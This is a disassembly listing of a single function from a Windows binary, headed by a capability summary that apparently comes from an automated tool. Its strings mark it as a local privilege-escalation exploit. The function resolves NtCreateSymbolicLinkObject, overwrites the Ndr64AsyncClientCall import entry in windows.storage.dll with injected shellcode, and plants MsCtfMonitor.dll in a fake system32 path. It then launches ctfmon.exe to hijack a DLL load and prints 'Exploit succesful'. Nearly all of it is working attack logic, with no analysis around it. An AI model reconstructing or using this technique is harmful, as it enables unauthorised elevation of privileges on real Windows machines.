Function at 0x140001130
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Create process on windows
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x990]
sub rsp, 0xa90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x980], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateSymbolicLinkObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, str.ctfmon_owned
xor r8d, r8d
xor edx, edx
mov qword [0x140024d50], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
mov r12, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov r13, rax
call fcn.140016bf0
lea rdx, [rbp + 0x180]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r8d, 2
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x80]
call fcn.140008a20
mov r8d, 0x100
mov byte [rbp + 0x82], 0
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
xor edi, edi
mov ecx, edi
nop dword [rax]
movzx eax, byte [rbp + rcx + 0x380]
mov byte [rbp + rcx + 0x580], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001220
lea rcx, [rbp + 0x580]
dec rcx
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x140001241
lea r8, [rbp + 0x182]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001260
mov r8d, 0x100
lea rdx, [rbp + 0x580]
lea rcx, [rbp - 0x80]
call fcn.140008a20
lea rdx, [rbp - 0x80]
lea rcx, str.___Current_pathname:__s_n
call fcn.140001010
mov rbx, 0xffffffffffffffff
lea rax, [rbp - 0x80]
mov r9, rbx
inc r9
cmp byte [rax + r9], dil
jne 0x1400012a4
lea r11d, [r9 + 1]
mov r8d, edi
test r11d, r11d
je 0x1400012dc
lea r10, [rbp - 0x80]
nop dword [rax]
movsx edx, byte [r10]
lea eax, [r8 + r8]
inc r8d
mov word [rbp + rax + 0x780], dx
lea r10, [r10 + 1]
cmp r8d, r11d
jb 0x1400012c0
add r9w, r9w
lea rax, [rbp + 0x780]
mov word [0x140024d40], r9w
lea rcx, [rbp + 0x480]
add r9w, 2
mov qword [0x140024d48], rax
mov edx, 0x100
mov word [0x140024d42], r9w
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r8d, 2
lea rdx, [rbp + 0x480]
lea rcx, [rsp + 0x50]
call fcn.140008a20
lea r8, [rsp + 0x50]
mov byte [rsp + 0x52], dil
lea rdx, str.___s
lea rcx, [rsp + 0x60]
call fcn.140001070
lea rax, [rsp + 0x60]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x140001350
lea r10d, [rbx + 1]
mov r8d, edi
test r10d, r10d
je 0x140001389
lea r9, [rsp + 0x60]
nop word [rax + rax]
movsx edx, byte [r9]
lea eax, [r8 + r8]
inc r8d
mov word [rsp + rax + 0x70], dx
lea r9, [r9 + 1]
cmp r8d, r10d
jb 0x140001370
movdqa xmm0, xmmword [0x140020740]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rcx, [rbp + 0x288]
lea rax, [rsp + 0x30]
mov qword [0x140024d28], 0x40
add bx, bx
mov qword [0x140024d20], rax
lea rax, [rbp + 0x280]
mov word [rsp + 0x30], bx
add bx, 2
mov qword [0x140024d30], rax
xor edx, edx
mov word [rsp + 0x32], bx
mov r8d, 0xf8
mov qword [0x140024d38], rdi
movdqu xmmword [0x140024d10], xmm0
call fcn.140016bf0
lea r9, [0x1400204a0]
mov dword [rsp + 0x28], 1
lea r8, str.ctfmon.exe
mov qword [rbp + 0x280], 0xc0001
lea rdx, str.open
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.rpcrt4.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.Ndr64AsyncClientCall
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
lea rcx, str.___Ndr64AsyncClientCall:__p_n
mov r14, rax
call fcn.140001010
lea rcx, str.windows.storage.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rdi
mov ebx, edi
mov rsi, rax
nop dword [rax]
mov ecx, ebx
test ebx, 0xfff
jne 0x140001493
lea rdi, [rcx + rsi]
mov edx, 8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x1400014a4
jmp 0x140001497
lea rdi, [rsi + rcx]
cmp qword [rdi], r14
je 0x1400014a1
add ebx, 8
jmp 0x140001470
mov r15, rdi
mov rdx, r15
lea rcx, str.___Ndr64AsyncClientCall_IAT:__p_n
call fcn.140001010
lea rdx, [0x140023a80]
xor eax, eax
mov rcx, rdx
movabs r8, 0x1111111111111111
nop dword [rax]
cmp qword [rcx], r8
je 0x1400014e1
inc eax
inc rcx
cmp eax, 0x5f
jb 0x1400014d0
jmp 0x1400014ea
lea rcx, [rsp + 0x48]
mov qword [rax + rdx], rcx
xor eax, eax
mov rcx, rdx
movabs r8, 0x2222222222222222
nop dword [rax]
cmp qword [rcx], r8
je 0x140001511
inc eax
inc rcx
cmp eax, 0x5f
jb 0x140001500
jmp 0x140001515
mov qword [rax + rdx], r14
xor eax, eax
mov rcx, rdx
movabs r8, 0x3333333333333333
cmp qword [rcx], r8
je 0x140001535
inc eax
inc rcx
cmp eax, 0x5f
jb 0x140001524
jmp 0x140001540
lea rcx, [0x1400010d0]
mov qword [rax + rdx], rcx
xor eax, eax
mov rcx, rdx
movabs r8, 0x4444444444444444
nop
cmp qword [rcx], r8
je 0x140001561
inc eax
inc rcx
cmp eax, 0x5f
jb 0x140001550
jmp 0x14000156a
lea rcx, [rsp + 0x48]
mov qword [rax + rdx], rcx
movaps xmm0, xmmword [0x140023a80]
lea r9, [rsp + 0x40]
movups xmmword [r13], xmm0
mov edx, 8
mov rcx, r15
movaps xmm1, xmmword [str.________]
movups xmmword [r13 + 0x10], xmm1
movaps xmm0, xmmword [0x140023aa0]
lea r8d, [rdx - 4]
movups xmmword [r13 + 0x20], xmm0
movaps xmm1, xmmword [0x140023ab0]
movups xmmword [r13 + 0x30], xmm1
movaps xmm0, xmmword [str.X_YZ__AXAYAZA_AA_AA_H]
movups xmmword [r13 + 0x40], xmm0
movaps xmm1, xmmword [0x140023ad0]
movups xmmword [r13 + 0x50], xmm1
mov eax, dword [0x140023ae0]
mov dword [r13 + 0x60], eax
movzx eax, word [0x140023ae4]
mov word [r13 + 0x64], ax
movzx eax, byte [0x140023ae6]
mov byte [r13 + 0x66], al
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [r15], r13
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x40]
mov edx, 8
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.___Launching_exploit..._n
call fcn.140001010
xor edx, edx
lea rcx, str..windows
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp eax, 1
je 0x14000163e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000163e
lea rcx, str.____Error:_the_exploit_doesnt_have_permissions_to_create_a_directory_n
jmp 0x140001702
xor edx, edx
lea rcx, str..windows_system32
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor r8d, r8d
lea rdx, str..windows_system32MsCtfMonitor.dll
lea rcx, str..MsCtfMonitor.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140001674
lea rcx, str.____Error_copying_MsCtfMonitor.dll_to_.windows_system32__the_file_exists___n
jmp 0x140001702
mov dword [rsp + 0x28], 1
lea r9, [0x1400206f4]
lea r8, str.ctfmon.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.___Waiting_for_DLL_hijacked_n
call fcn.140001010
mov edx, 0x2710
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140024d58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea r9, [rsp + 0x40]
mov rcx, r15
lea r8d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [r15], r14
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x40]
mov edx, 8
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.___Exploit_succesful__n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x980]
xor rcx, rsp
call fcn.140001750
lea r11, [rsp + 0xa90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret